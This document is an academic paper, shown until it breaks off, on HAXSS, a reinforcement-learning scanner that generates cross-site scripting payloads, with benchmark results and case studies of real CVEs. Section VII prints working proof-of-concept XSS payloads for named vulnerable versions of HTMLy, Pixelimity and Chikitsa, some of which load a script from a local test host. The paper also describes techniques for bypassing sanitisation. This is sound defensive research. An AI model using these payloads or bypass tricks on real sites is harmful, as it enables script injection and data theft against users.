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Abstract—Web application vulnerabilities are an ongoing prob-
lem that current black-box techniques and scanners do not
entirely solve, suffering in particular from a lack of payload
diversity that prevents them from capturing the long tail of
vulnerabilities caused by uncommon sanitisation mistakes.

In order to increase the diversity of payloads that can be
automatically generated in a black-box fashion, we develop
a hierarchical reinforcement learning approach where agents
focus separately on the tasks of escaping the current context,
and evading sanitisation. We implement this in an end-to-end
prototype we call HAXSS.

We compare our approach against a number of state-of-the-art
black-box scanners on a new micro-benchmark for XSS payload
generation, and on a macro-benchmark of established vulnerable
web applications. HAXSS outperforms the other scanners on both
benchmarks, identifying 131 vulnerabilities (a 20% improvement
over the closest scanner), reporting 0 false positives. Finally, we
demonstrate that our approach is practically useful, as HAXSS
re-discovers 4 existing CVEs and discovers 5 new CVEs in 3
production-grade web applications.

Index Terms—Reinforcement Learning; Fuzzing; Web Appli-
cation Security; XSS

I. INTRODUCTION

Cross-site scripting (XSS) is a well-known vulnerability
presenting a legitimate threat: theft of data and remote code
execution [1]. Black-box scanners [2]–[8] are often used to
find XSS vulnerabilities in deployed web applications. While
such tools reduce the manual effort for a user, they typically
use a large number of generic payloads to cover the most
common vulnerabilities1. Yet, hard-coded payloads may miss
many edge cases, failing to trigger existing but uncommon
vulnerabilities, thus leading to false negatives.

Our first observation is that typical scanner payloads lack
sufficient diversity. This is confirmed in recent work by
Buyukkayhan et al. [9], showing that effective XSS payloads
require increasing complexity. Another limitation is that scan-
ners often suffer from false positives, meaning that an XSS
was not effectively triggered, but was erroneously reported by
the scanner. We seek to address these limitations using a novel
Reinforcement Learning (RL) approach tailoring payloads to
specific sanitisations, finding common and uncommon vulner-
abilities, and avoiding false positives.

Research partially funded by EPSRC grant EP/T51780X/1. This work
is licensed under a Creative Commons Attribution 4.0 License. For more
information, see https://creativecommons.org/licenses/by/4.0/.

1For example, XSSer [6] uses a list of 1,293 payloads.

RL has proven effective at exploring the large state spaces
of complex games such as Go [10], Atari [11], and Dota 2
[12]. We propose to leverage RL by ‘gamifying’ the problem
of generating XSS payloads to fuzz webapps.

Our novel idea is to formulate the problem as a hierarchy
of two separate games to be solved by two RL agents. The
first game generates payloads to alter the structure of the page
around user output to execute malicious code by escaping
the context. The second game is triggered if the webapp
attempts to sanitise a payload generated by the first game.
The goal of the second game is to obfuscate the payload
to bypass sanitisation. If successful, this obfuscated payload
is passed back to the first game, to continue hunting for a
vulnerability or reaching a success criterion. The interplay
of these two games allows a single generated payload to
meet several desirable criteria: syntactic validity and context
escape in addition to sanitisation bypass. We call our approach
HAXSS: Hierarchical Agents for XSS.

The main contributions of this paper are:

• We gamify black-box webapp fuzzing by implementing
an RL environment to handle low level details of web
vulnerabilities so RL agents focus on higher level tasks.

• We formulate XSS payload generation as a hierarchical
RL problem, so that agents can learn to fuzz new source-
sink combinations, generating diverse payloads and by-
passing the associated sanitisation.

• We implement our approach as the HAXSS scanner (avail-
able at https://github.com/ICL-ml4csec/HAXSS), and
show it finds 131 vulnerabilities across our novel micro-
benchmark and 5 reference vulnerable webapps, improv-
ing on state-of-the-art black-box scanners. HAXSS also
reports 0 false positives.

• We show that HAXSS in practically useful, finding 4
existing and 5 novel CVEs in production-grade webapps.

The remainder of this paper is structured as follows. Section
II presents the Deep RL background relevant for this work.
Section III discusses the challenges of fuzzing webapps for
XSS vulnerabilities. Section IV formulates payload generation
as an RL problem. Section V describes HAXSS in detail. Sec-
tion VI, evaluates HAXSS on micro- and macro-benchmarks.
Section VII presents case studies of vulnerability detection for
real webapps. Discussions and limitations are in Section VIII.
Related work is in Section IX, and Section X concludes.

https://creativecommons.org/licenses/by/4.0/
https://github.com/ICL-ml4csec/HAXSS


II. DEEP REINFORCEMENT LEARNING

In this Section, we briefly cover the key background on
Deep Reinforcement Learning that is relevant for the rest of
the paper. This section can be safely skipped by the reader
familiar with the topic.

RL is a form of machine learning that optimises a given
reward, r. RL problems are formulated around an agent that
exists within an environment, this agent takes an action, a
at each timestep, t. This action then alters the agents state s
within an environment, this change of state has an associated
reward r. The agent must learn a policy π that maximises r
in the long term (this is accounted for by a discount factor γ
that gives lower weight to rewards as t increases) [13].

A policy, π is an agent’s learned strategy defining what
action to take in what state. The goal of the agent is to learn
an optimal policy (π∗), which maximises the returned reward,
and by extent guides it to solve the task.

One way to find such policy is via Q-learning, as described
by the Bellman equation [14] which, given an action and a
state, computes a Q-value used to determine the next action
to maximise long term rewards, this is shown in Eq. 1.

qπ(s, a) = Eπ[rt+1+γmax
a′

qπ(st+1, at+1) | st = s, at = a] (1)

To increase the long term reward, an agent must take actions
to explore the state space and find a successful finishing state.
The parameter ε allows the agent to take the ‘greedy’ or
optimal action with probability 1 − ε, else taking a random
action. This ε can be made to decay during training, for
example from 1 to 0, this is called ε-greedy decay.

Q-learning can be improved by leveraging deep learning,
in the form of a Deep Q-Network (DQN). A Q-network, Q,
is used to determine the Q-value and associate action from
the current state. Using a semi-supervised approach, a Target
Q-network, Q̂, is used to determine the loss of the agent.
By periodically updating of Q̂ to Q the two networks can
converge on an optimal policy π∗. The DQN handles large
state-action spaces and provides a more accurate Q-value than
in Q-learning [14]. The success of this approach was seen
since its introduction [10], [15].

The DQN samples random minibatches of transitions (tu-
ples of st, at, rt, st+1) to increase training stability. However,
assigning priority to these transitions allows the ‘significant’
transitions to appear more often in the minibatches. This is im-
plemented in prioritised experience replay, where transitions
with a higher loss are considered more significant and require
a higher priority. [16]

Further improvements have been made to deep RL, includ-
ing the idea of curiosity to improve exploration of the state
space. This is implemented with an intrinsic reward function
determined by the behaviour of the RL agent, instead of
domain specific knowledge. The intrinsic reward is a function
of how often a given state is visited. The agent receives a
greater reward for states that it has visited less often, and a
lower reward for states it has seen often.

III. XSS PAYLOAD GENERATION

XSS is an injection-based vulnerability where user input
is accepted in a webapp in one location, the source, and is
returned to the user as part of the output, in a sink. XSS
enables adversaries to run code on behalf of their victims,
gaining control over a webapp and the associated data. The
most common way to prevent XSS is by sanitising user input
to render it benign, though incorrect sanitisation is frequent
and regularly leads to new vulnerabilities.

In this work we focus our attention on the three main cases
of XSS: reflected, stored, and DOM-based. A Reflected XSS
occurs when a malicious payload is provided as part of a
web request, and it manifests itself in the returned response
(typically an HTML page). A stored XSS occurs when the
malicious payload becomes part of the server-side data that is
used to generate the HTML of an arbitrary HTML page for
the same web app. A DOM-based XSS is only present inside
the browser executing the HTML and JavaScript code of the
webapp, as the payload directly affects the DOM without being
sent to the server.

There are a variety of contexts where submitted payloads
can then be found as part of a resulting web page (the sink),
and can be used to infer the sanitisation required. In this work
we consider the following contexts, although this list is far
from exhaustive:
1) Inside a HTML tag body: <div>INPUT</div>
2) HTML tag attribute value: <div onLoad=INPUT

></div>

3) HTML tag: This includes any other location a user
input can be seen in a HTML tag such as the
tag name (<INPUT>) or tag attribute name (<div
INPUT=function()>)

4) HTML comment: <!--INPUT -->

5) JavaScript: This can include any location within a
JavaScript program this could include a variable assign-
ment (x=INPUT), function declaration (INPUT()), and
comments (\*INPUT*\).

In order to generate payloads able to demonstrate XSS vul-
nerabilities, one must face a number of non-trivial challenges.

Verifying vulnerabilities: It is non trivial to verify if a
payload effectively triggers a vulnerability. Scanners which
look for the appearance of successful payloads in the source
code of the returned page, such as the OWASP Zed Attack
Proxy (ZAP) [3], may report safe pages as vulnerable. For
example, a payload may be reflected on the page as part of
an HTML comment, and not cause a vulnerability. When the
number of false positives is high, that reduces the usability of
the tool.

Escaping contexts: Allowing a payload to escape the con-
text where it is rendered is often a crucial step to trigger a
vulnerability. For example, a payload rendered as the value of
an unsanitised attribute of a tag could escape its context by
terminating the attribute value, and providing a new attribute
leading to code execution. Failure to change context can result
in false positives or false negatives.



Escaping contexts can be difficult as the individual context
must be identified before it can be changed, this requires both
the finding of the context and detection when it changes.
Changing the context also requires the correct character se-
quence or escape string to be reverse engineered from where
the payload is found.

Bypassing sanitisation: Escaping the context is not always
as easy as using the escape string, as sanitisation can prevent
the context from changing, or prevent a payload from reaching
the sink. While there are standard functions that can be used
to sanitise different contexts (e.g. htmlentities and htmlspe-
cialchars in PHP), the use of these depends on the security
knowledge of the developer, the development practices, and
other hard-to-control factors. When these functions are not
used, or are used improperly, such as in the wrong context,
they lead to vulnerabilities.

IV. PAYLOAD GENERATION AS AN RL GAME

While payload lists cover the most common vulnerabilities,
they miss the long tail of ‘edge cases’ that depend on the
specifics of a webapp or its developers. Fuzzing needs a very
large number of attempts in order to find new interesting
payloads, as the search space is extremely large. RL is efficient
in exploring large state spaces to learn a policy solving a
reward-based task; therefore we apply it to dynamic payload
generation, improving the search strategy to fuzz for such edge
cases.

In particular, we identify three challenges associated with
the mapping of payload generation to RL.

Agent interaction with webapps: To determine the legiti-
macy of a generated payload, the agent must have a notion of
how effective it was. In prior work [17] this has been done
using a ‘human-in-the-loop’ to input payloads and observe
outcomes, this is unfeasible for large scale vulnerability scan-
ning or pentesting. Thus, the RL model must interact directly
with the webapp. This includes finding the source and sink
locations, injecting in the source, traversing to the sink to
determine if the payload was successful.

Defining the action space: An RL agent must be able to
take actions to change its state in the environment. In typical
game playing settings, these actions are clear and defined as
part of the game. However, in the general case actions are
much harder to define. In the case of payload generation, the
most general choice of actions such as bit-flips, or similar low-
level string editing operations would lead to state-action spaces
which are too large to be useful. An agent would struggle to
develop an effective policy to generate the payload of a single
vulnerability, let alone multiple ones.

Adapting to different source-sink combinations: RL excels
in finding an optimal policy for a task, in doing so it learns
to complete the task, as seen in prior work, RL agents are
usually evaluated on the training task. However, in the case
of generating payloads there is no one ‘optimal’ payload, as
what works for one vulnerable parameter may not work for
another. Ideally an agent should learn a policy that generates

Fig. 1. The overall HAXSS payload environment model, showing how the
agent is able to interact with the web application.

payloads, adapting to the different sanitisations and contexts
in which payloads can occur.

A. The payload generation environment

Our first step is to create an environment that an RL agent
can submit actions to, and receive rewards and next-states
from, encapsulating the low level details of how webapps
work, how payloads are submitted, and how exploits are
verified. This enables the RL agent to effectively fuzz for XSS.

Figure 1 illustrates our approach for creating the HAXSS
payload generation environment. We employ an automated
Crawler component to identify the source-sink combinations
present in the webapp. Details of the Crawler can be found in
Appendix A. Information on HTML tags that cause transitions
to new pages, along with information on the source-sink
combinations are stored by the Crawler and passed to an
Injection Interface. This submits the payload to the webapp
by sending an HTTP request, or triggering relevant events in
the DOM, based on the source-sink parameters gathered.

At the conceptual level, the environment receives an action
from the agent which is used to mutate the payload and is
turned into a concrete action on the webapp via the Injection
Interface, this then receives a response and, based on that,
determines a reward and a next state to be returned to the
agent. The reward depends on the kind of agent that triggered
the action, as discussed in Section V. The environment is
implemented in the OpenAI Gym format [18].

We define a state as a tuple of the currently generated
payload and the returned payload from the webapp. This
encapsulates information for the agent about the payload
sanitisation in the state. Both the payload and returned payload
are reduced to a numerical value using a vocabulary formed
of the agent actions. Thus, script, onLoad=alert(token),
> is represented as 1, 2, and 3 respectively.

Each payload includes a unique token of 10 digits used
to detect vulnerabilities; this identifies the current payload
in cases where multiple payloads are triggered independently
(e.g. in stored XSS). The Injection Interface monitors the
rendered HTML response for successful payloads that trigger
an alert containing the token value, making it possible to
detect DOM-based, stored, and reflected XSS.

We define a limit on the number of attempts an agent can
take on a single payload before being reset to its starting
state, we define this in the RL term, episode. An episode may
also terminate when a legitimate vulnerability is found by the
Injection Interface.



Fig. 2. Conditions for triggering the separate games (syntactically correct
payload generation, and bypassing sanitisation) that form HAXSS.

V. HAXSS: HIERARCHICAL AGENTS FOR XSS

The central idea of HAXSS is to split the payload generation
problem into two games as shown in Figure 2. This hierarchi-
cal structure embodies the RL Agent of Figure 1.

The first game occurs when there is no sanitisation of
the input payload. In this game the Escape Agent learns to
generate a variety of syntactically correct payloads of HTML
and/or JavaScript that escape their context to trigger an XSS.

The second game occurs when payload sanitisation is de-
tected on inspecting the sink output. In this game Sanitisation
Agents focus on bypassing sanitisation to inject a given
payload into a specific sink.

This hierarchical structure reduces the number of different
actions needed by each agent so HAXSS can explore more
effectively the action-state space for optimal strategies.

A. The Escape Agent

To increase the Escape Agent’s overall efficiency in finding
vulnerabilities we use worker agents. These worker agents
store transitions in the global buffer of the Escape Agent.
Worker agents sample actions from the probability distribution
learned by the Escape Agent’s global policy . The global policy
is then updated after workers have executed actions.

The actions of each agent and received rewards are different
due to the different games they play. The actions of the
Escape Agent can be categorised into 4 classes and can create
6,635,520 unique payloads:
1) Escaping actions are used to change the current context.

These consist of an escape string, suffix-escape string,
closing parent tag, and >. Escape strings are generated
from the sink when HAXSS begins fuzzing a new source-
sink combination. For example, if the user input were
found in: <body onLoad=‘x = "INPUT"’> the escape
string would be formed of "’, to close the JavaScript
and enter the context of HTML tag. This is achieved by
injecting the unique token into the source and parsing the
sink to identify where it appears. Based on such context,
we algorithmically build the escape string.

2) Tag actions, which insert an open and closing tag into the
payload after any parent closing tag if present, otherwise
enclosing the current payload. Tag name actions include:
img, script, style, body, and a.

3) Tag attributes, ensure the tag actions trigger vulnerabil-
ities. These include: onError, onLoad, onMouseOver,
onKeyPress, src, href. The onEvents are set to
alert(token) while src and href call to a webpage
with JavaScript that triggers an alert with the token (see
Appendix E) . These are inserted into an opening HTML
tag if present, otherwise appended to the payload.

4) Standalone, which can trigger a variety of XSS
depending on their use, including: alert(token),
javascript:alert(token), and the URL of a page
hosting JavaScript to trigger an alert. These are inserted
into the payload between an opening and closing HTML
tag if present, otherwise appending to the payload.

The Escape Agent receives extrinsic and intrinsic reward.
The extrinsic reward, from the Injection Interface, prompts
HAXSS to generate well formed, malicious, payloads using
small rewards for changing context, and unsanitised payloads.
Details of the extrinsic reward can be found in Appendix C.

The intrinsic reward is received via Random Network Distil-
lation that promotes exploration, improving performance when
fuzzing new source-sink combinations. This uses two neural
networks, both using the current state as input. One network
(the predictor) learns to predict the output of the other (the
target). Using the mean squared error as a reward for the
RL agent provides greater reward for creating new payloads.
We clamp this reward between −0.5 and 0.5 to prevent the
Escape Agent from learning a purely exploratory policy as
recommended in [19].

B. Sanitisation Agents

When payloads injected in the source are modified in the
sink, sanitisation has occurred. A Sanitisation Agent receives
the current payload from the Escape Agent and attempts to
bypass the sanitisation. If this is successful, the unsanitised
payload is returned to the Escape Agent, in addition to any
encoding used, allowing the bypass of sanitisation until the
end of the episode, as in Figure 2.

We use N Sanitisation Agents, where N is the number
of actions available to the Escape Agent, hence we define
18 Sanitisation Agents, (Agents 2.0-2.17). This is under the
intuition that these agents will develop techniques to bypass
the sanitisation caused by the most recent action of the Escape
Agent. Each Agents 2.0-2.17 have the same action classes
which can result in 384 different payload obfuscations:

1) Capitalisation actions, one to alternate upper and lower
case letters in the payload, another to have all lowercase.

2) Encoding actions, to encode the plaintext version of the
payload, three encodings are possible (UTF-8, URL, and
HTML) in addition to a decoding action.

3) Escaping actions, apply additional functions to the es-
cape string applied by the action of the Escape Agent,



including: backslash escaping quotes, inserting a < before
an opening tag, inserting a ; after quote mark(s).

4) Tag attribute separators, these replace all separators in
the payload, these include %0D, %2F, %0C.

5) Tag obfuscation, this inserts %00 into the tag name.
6) Back ticks, which replaces any instance of brackets ‘(’ or

‘)’ with a back tick ‘`’.
Following the standard sparse reward functions in RL that

force the agent to find the optimal solution as quickly as
possible the Sanitisation Agents are only rewarded for a
successful bypass. They receive a reward of 10 for a successful
bypass, and for all other cases a penalty of -1.

C. Deep Learning Implementation

Both the Escape Agent and the Sanitisation Agents use
the same underlying neural network architecture: a DQN
with five layers. The input layer takes a minibatch of state
tuples, followed by three hidden layers having 64, 96, 64
nodes, an output layer containing a node for each action. The
Escape Agent has an additional output layer of a categorical
distribution so the workers can sample actions.We use the tanh
activation function and the Adam optimiser for each agent in
the hierarchy.

Hyperparameters were determined by performing a grid
search, details of the range of values tested and those selected
are in Table V in Appendix D-A. The Escape Agent has
episodes of 10 actions to prevent payloads from becoming ex-
cessively bloated, while Sanitisation Agents have this reduced
to 5 actions to allow for more episodes to attempt bypassing
sanitisation. We allow Sanitisation Agents 3 episodes to bypass
the sanitisation of a payload before giving up.

The Escape Agent uses a standard Prioritised Experience
Replay buffer to increase the frequency at which samples occur
in minibatches. Sanitisation Agents use a uniform buffer, as
there was no observed performance increase using a priority
buffer. Both agents use standard ε-greedy decay with ε = 1
(decaying by 0.999 after each episode). The Escape Agent uses
curiosity to allow it to adapt to new source-sink combinations
faster, however Sanitisation Agents do not, as each agent has
a specific task: bypassing sanitisation of the associated action
of the Escape Agent.

D. Adapting to new source-sink combinations

When HAXSS moves to a new source-sink combination it
is important for exploration to happen, to determine which
sanitisations may occur to payloads submitted there. Hence,
if the value of ε after the previous task is less than 0.3, we
increase it to 0.6, and if it is between 0.3 and 0.7 we increase
it by 0.2. These values were determined empirically, and may
be changed for other deployments.

E. The XSS Payload Test Bed

To train and evaluate HAXSS we introduce a micro-
benchmark of 25 reflected XSS vulnerabilities, the XSS Pay-
load (XP) Train and Test Bed. The benchmark is organised
as an easy to crawl HTML page with one form and multiple

input fields, each hosting a vulnerability. We designate 15 of
these for training and a further 10 for testing. The XP Test
Bed includes 5 XSS taken from vulnerabilities with associated
CVE numbers. They range in CVSS 3.x score, a common
metric to asses the severity of a vulnerability, from 5.4 to
9.6. We include these to demonstrate the ability of HAXSS to
identify known vulnerabilities and its generalisation ability to
generate XSS payloads. Note that in RL literature training and
testing are performed on the same task, as it is a single task
that is being solved. In Tables III and IV (Appendix B) we
report the different combinations of HTML output contexts
and (flawed) sanitisation rules used.

F. Training

Training HAXSS should result in a policy that is capable
of generating diverse payloads, and adapting to new injection
points. This is achieved by having HAXSS train on each of the
vulnerabilities in the XP Train Bed (see Appendix B).

To identify when HAXSS has learnt enough from a task, we
introduce a win criterion, which is met when a worker is able
to generate 14 or more payloads within the last 20 episodes, as
this demonstrates consistent exploitation of the vulnerability.
We also provide a loss criterion, reached by a worker at 200
episodes on a task without meeting the win criterion. This
ensures that all vulnerabilities are trained on, with an equal
maximum effort budget. Note that even if an agent reaches the
loss condition, it may have been able to generate numerous
working payloads, and will still benefit from the task.

Training is conducted on a Ubuntu 20.04 Linux computer
with 16GB RAM and an Intel core i7 8700k processor. HAXSS
is trained using 2 asynchronous workers which can execute in
parallel, increasing the speed at which the agent can learn the
policy. [20]. See Algorithm 1 for additional details.

VI. BENCHMARK-BASED EVALUATION

In this Section, we compare HAXSS to a selection of 9
established vulnerability scanners on our micro-benchmark
for XSS exploit generation, and on a macro-benchmark for
webapp vulnerability scanning.

A. Experiment setup

1) Using HAXSS as a vulnerability scanner: To use HAXSS
as a vulnerability scanner in the wild, we change some of the
parameters from training to reduce bias in the new samples,
and minimise the number of requests made. We conduct the
evaluation using the same hardware as for training.

We reduce the probability of taking random actions (1− ε)
to 5% to emphasise the learned policy while still reaching new
states. We reduce the number of workers (and associated web
traffic) from 2 to 1. We also reduce the win criteria to one
working payload, and the loss criteria to 100 attempts.

2) Vulnerability scanners: We select 4 state-of-the-art open
source general vulnerability scanners: Arachni 1.5.1 [2],
OWASP Zed Attack Proxy (ZAP) 2.10.0 [3], w3af 1.6.49 [4],
and Wapiti 3.1.0 [5]. We use two state-of-the-art academic
scanners for XSS: Black Widow [21] and the RL-based model



TABLE I
SCANNERS RESULTS AND REQUEST STATISTICS FOR THE XP TEST BED. TP: XSS FOUND; FN: XSS NOT FOUND; FP: XSS NOT WORKING.

Scanner 1 2 3 4 5 6 7 8 9 10 Total TP Total requests
Avg requests
per working

payload

Avg requests
per true positive

Arachni TP FP FP TP TP TP FN TP FP FN 5 3710 742 742
Black Widow TP TP TP TP FN FN FN FN FN TP 5 100 20 20

Link FN FP TP TP FP FN FN FN TP TP 4 204 51 51
ZAP FN FP TP TP TP FN FP FN TP FP 4 206 51.5 51.5
w3af FP TP FP FP TP FN TP FP TP FP 4 512 128 128

Wapiti TP TP TP TP TP FN FN TP TP TP 8 157 19.6 19.6
XSSer TP FN FN FN FN FN FN FN FN FN 1 13010 13010 13010
XSpear TP FP TP TP FN FN TP FN FP TP 5 3868 101.8 773.6

XSSMAP FN FN FN FN FN FN TP FN TP FN 2 1810 603.3 905
AXSS FN FN TP TP TP FN TP FN FN TP 5 780 156 156

Rand-HAXSS TP FN FN TP TP FN TP TP TP FN 6 2710 451.67 451.67
HAXSS TP TP TP TP TP TP TP TP TP TP 10 724 72.4 72.4

Link [22]. We also select 3 XSS-specific scanners, compared
in recent work [17]: XSSer 1.8.4, XSpear 1.4.1 [7], and the
dynamic payload generator XSSMAP [8].

We also include two variants of HAXSS, a non-hierarchical
version with one agent using all the actions called AXSS,
trained in the same way using the XP Train Bed. We also
compare against Rand-HAXSS, a variant that takes random
actions. We also include a non-hierarchical version of HAXSS
with one agent using all the actions called AXSS, trained in
the same way using the XP Train Bed. We also include Rand-
HAXSS, a version of HAXSS that takes random actions.

All scanners are able to find reflected XSS; all but XSpear
and XSSMAP can find stored XSS; only ZAP, Arachni, and
XSSer are able to find DOM based XSS.

B. Micro-benchmark: payload generation

In the first experiment we run each scanner against the
XP Test Bed described in Section V-E. Using this micro-
benchmark provides a ground truth of 10 easy-to-crawl in-
jection points which require independent payloads for each
vulnerability, 5 of which have associated CVE numbers. The
results are reported in Table I.

The best performance among the other scanners comes
from Wapiti as it is uses a single payload that is capable of
bypassing multiple sanitisations. Though it fails to identify a
bypass for 6 and 7, which escapes payloads with < or >, but
can be exploited by URL encoding or changing contexts.

Surprisingly, two XSS-specific tools, XSSer and XSSMAP,
only detect 1 and 2 XSS respectively. XSSMAP fails on
sanitisations despite its ‘intelligent’ approach to generating
XSS payloads based on context and sanitisations. However,
we find that it is unable to escape sanitisations, a common
theme amongst the scanners.

Link, an RL based XSS scanner reports 2 False Positives
(FPs) due to the use of static analysis, in addition to 4 False
Negatives (FNs) failing to bypass sanitisation. Link detects 4
existing XSS, close to the 5 found by our non-hierarchical
variant AXSS, but well below the 10 found by HAXSS, con-
firming the important role played by the hierarchical structure
of the latter.

1) Number of requests: The high volume of traffic gen-
erated by automated web fuzzing tools is considered one of

their main shortcomings, alerting defenders that an attack is
taking place. Therefore, in Table I we report the total number
of requests in addition to the number of requests per working
payload, and the number of requests per True Positive (TP).

Black Widow has the lowest number of total requests as it
always uses a list of 10 XSS payloads. Wapiti has the lowest
number of requests per true positive and working payload.

HAXSS has a high number of requests as it is has an outlier
in form 2. This is due the sanitisation only allowing certain
tags on input that otherwise can’t be bypassed. HAXSS does
outperform AXSS achieving 83.9% fewer requests per working
payload than its non-hierarchical equivalent.

The worst performing scanner is XSSer, as it blindly injects
from a payload list of 1293 payloads. Arachni however, has
the highest number of requests per working payload, due to
an exhaustive search to escape the context.

C. Macro-benchmark: webapp scanning

In the second experiment we assess the ability of the various
scanners to generate working XSS payloads in a number
of test bench webapps with known vulnerabilities . Since
XSSMAP and XSpear do not include a crawling capability,
we exclude them from this experiment. Our macro-benchmark
is composed of Firing Range (0.48), SCARF (2007), Wack-
oPicko (2018) [23], WebSecLab (0.8.1), and WAVSEP (1.5).
Firing range, WebSecLab, and WAVSEP include a variety of
different XSS contexts, sanitisations, and types (DOM and
reflected). These vulnerabilities are all in easy-to-crawl pages,
easily identified by crawlers. Some of the sanitisations used
are shown in Table VI. SCARF and WackoPicko have been
established in prior work [21], [23] and are included for testing
on more realistic webapps with known vulnerabilities.

1) Scanner performance: Table II reports the results of
the second experiment, including the number of source-sink
combinations not identified by a crawler. However scanners
tend to crawl efficiently, finding most injection points, except
on Firing Range due to the high number of DOM based XSS.

Black Widow, and HAXSS have perfect performance on
SCARF and WackoPicko. HAXSS finds the most vulnerabili-
ties on WAVSEP but also suffers from a high number of FNs
(37). The majority of these are because the necessary exploit



TABLE II
SCANNERS RESULTS FOR MACRO-BENCHMARK. “NOT TRIED” INDICATES A FAILURE OF THE CRAWLER TO FIND THE INJECTION POINT. FN DENOTES A

FAILURE TO GENERATE A PAYLOAD TO DISPLAY THE VULNERABILITY.

Scanner Firing Range SCARF WackoPicko WAVSEP WebSecLab

TP FP TN FN Not
Tried TP FP TN FN Not

Tried TP FP TN FN Not
Tried TP FP TN FN Not

Tried TP FP TN FN Not
Tried

Arachni 42 16 0 137 32 3 1 1 5 0 4 0 1 1 2 36 32 0 22 0 15 4 2 12 7
Black Widow 29 0 0 166 32 8 0 2 0 0 5 0 3 0 0 22 0 0 24 44 N/A N/A N/A N/A 40

Link 45 9 0 104 69 0 0 0 0 8 1 0 0 0 7 33 8 0 49 0 7 6 7 20 0
ZAP 50 17 0 111 49 0 0 2 5 3 3 1 2 1 1 24 46 0 20 0 11 15 4 9 1
w3af 2 55 0 138 32 1 0 1 6 2 1 1 2 3 1 5 46 0 39 0 2 13 5 19 1

Wapiti 43 31 0 121 32 0 0 2 3 5 2 0 2 3 1 12 13 0 65 0 11 4 6 14 5
XSSer 19 2 0 133 68 0 1 0 3 5 1 3 0 3 1 5 27 0 58 0 7 24 0 8 1
AXSS 21 0 0 80 126 5 0 2 3 0 5 0 3 0 0 30 0 0 53 7 9 0 10 20 1

Rand-HAXSS 22 0 0 79 126 3 0 2 5 0 3 0 3 2 0 29 0 0 54 7 10 0 10 19 1
HAXSS 45 0 0 56 126 8 0 2 0 0 5 0 3 0 0 46 0 0 37 7 17 0 10 12 1

techniques are beyond what the current version of HAXSS can
generate given its action space and XP Train Bed.

Arachni performs consistently well, identifying a high num-
ber of XSS in both WebSecLab and WackoPicko, and finding
the second most XSS on WAVSEP after HAXSS. In WAVSEP,
Arachni reports a high number of FPs, as payloads are unable
to escape the context, thus are not executable.

The performance of Black Widow on WAVSEP suffers as
the scanner fails to identify 44 injection points. It also fails to
produce payloads for WebSecLab, as it enters an infinite loop.

ZAP, Wapiti and XSSer have overall a similar performance.
They suffer from a high number of FPs in WAVSEP and
WebSecLab. This is because they report payloads as successful
which appear in the HTML despite failing to escape their
contexts to become executable.

Link suffers on SCARF and WackoPicko due a failure in
finding injection points. More interestingly, in WAVSEP and
WebSecLab Link struggles to generate successful payloads.
Mostly this is due to a failure to bypass sanitisation, and
occasionally to a failure to escape contexts.

Firing Range is the only case where another scanner (ZAP)
finds more TPs than HAXSS. This is because ZAP can generate
payloads that trigger DOM based XSS in ways beyond what
HAXSS can currently do. However, HAXSS is still able to
generate a high number of XSS despite the crawler identifying
fewer source-sink combinations than other scanners, obtaining
a better ratio.

w3af does very poorly in all instances reporting high
numbers of FPs and FNs, due to its reliance on static analysis
to detect success, and lack of bypassing sanitisation.

HAXSS reports the highest number of TPs in all webapps,
except Firing Range. Yet HAXSS reports the highest total
number of XSS at 121, 20% more than the closest scanner
Arachni (100). HAXSS and Black Widow are the only scanners
with 0 FPs. In the case of HAXSS this is due to the combination
of static and dynamic analysis used to detect the alert and
token by the Injection Interface component that dictates the
reward. HAXSS ranks joint third and fourth for the number of
FNs in WebSecLab and WAVSEP respectively. This is due to
missing exploits that require actions beyond HAXSS current
implementation. Yet, HAXSS again outperforms both its non-

hierarchical (AXSS) and random equivalents (Rand-HAXSS).

VII. CASE STUDIES

We investigate the ability of HAXSS to find realistic vulner-
abilities in production grade webapps. We target vulnerable
versions of webapps affected by XSS CVEs reported during
2021 in the NVD database.

A. HTMLy (CVE-2021-42946, CVE-2021-42867)

HTMLy 2.8.1 is a PHP based blogging platform and Content
Management System (CMS) . HAXSS re-discovers CVE-2021-
36703 using 1 below.

HAXSS also finds two new vulnerabilities on the same page
following a similar pattern. CVE-2021-42946: the Copyright
parameter is vulnerable by closing the span tag and opening
a new body tag with 2 . CVE-2021-42867: the Description
parameter is vulnerable to 3 in the list that closes the current
body tag and opens a new one, similar to the prior payloads.

1 </input><style onLoad=alert(token)></style>
2 "</span><body onmouseover=alert(token)></body>
3 </body><body onmouseover=alert(token)> src=

http://local host:666/xss.js?=token</body>

B. Pixelimity (CVE-2021-42866)

Pixelimity 1.0 is a PHP CMS, containing an admin panel
where the user can alter the content of the webapp. HAXSS
is able to re-discover CVE-2021-29056 using 4 . HAXSS
also finds a new vulnerability (CVE-2021-42866) using 5 ,
a payload more sophisticated than the ones observed so far,
which closes the tag attribute and the parent tag in order to
inject the active style tag.

4 ‘</footer><body onmouseover=alert(token)>
href=http:// localhost:666/xss.js?=token</body>

5 "></input><style onload=alert(token)></style>

C. Chikitsa (CVE-2021-42868, CVE-2021-42869)

Chikitsa 2.0.2 is a CMS that allows users to input pa-
tient data, arrange appointments, and make/check payments.

HAXSS is able to re-discover CVE-2021-38151 and CVE-
2021-38149, with payloads 6 and 7 , but misses CVE-2021-
38152 because the page containing it could not be found by
either the HAXSS crawler or by manual review.



On the other hand, using payloads 8 and 9 , HAXSS
discovers two new vulnerabilities: CVE-2021-42868 and
CVE-2021-4869. Payload 8 follows the familiar pattern
seen above, closing an existing tag and injecting a new one
with an active event handler. Payload 9 instead inserts a
script tag to directly inject JavaScript, showcasing some of
the diversity in the policy learned by the Escape Agent of
HAXSS. Note that onerror=alert(token) in this context
is valid JavaScript code triggering a call to alert before
assigning its result to the variable onerror, although in
HTML context this is an exploit-via-event-handler pattern.

6 ></label<style onload=alert(token) href=
http://localhost:666/xss.js?=token>"</style>

7 ><body onerror=alert(token)>></body>
8 </script><style onload=alert(token)> </style>
9 ></script><script> onerror=alert(token)</script>

VIII. DISCUSSION AND LIMITATIONS

When the crawling phase of a scanner fails to identify an
input which leads to a vulnerability, the scanner will not be
able to find the corresponding XSS, missing a true positive or
a false negative. If the input was non-vulnerable instead, the
scanner will miss a false positive or a true negative. In order
to appreciate the effect of scanning capabilities on the results
in Table II, we include the “Not Tried” column, to indicate
the number of inputs that are missed by the crawler.

We acknowledge that the HAXSS crawler misses a large
number of inputs on Firing Range. The crawler fails to
discover injection points triggered by complex interactions,
or in reactive web pages which present new injection points
under the same URL. Still, the crawler servers its purpose
well, enabling HAXSS to find more XSSs than the other tools
in most cases, and even perform 2nd best on Firing Range.

HAXSS performance in Section VI demonstrates its ability
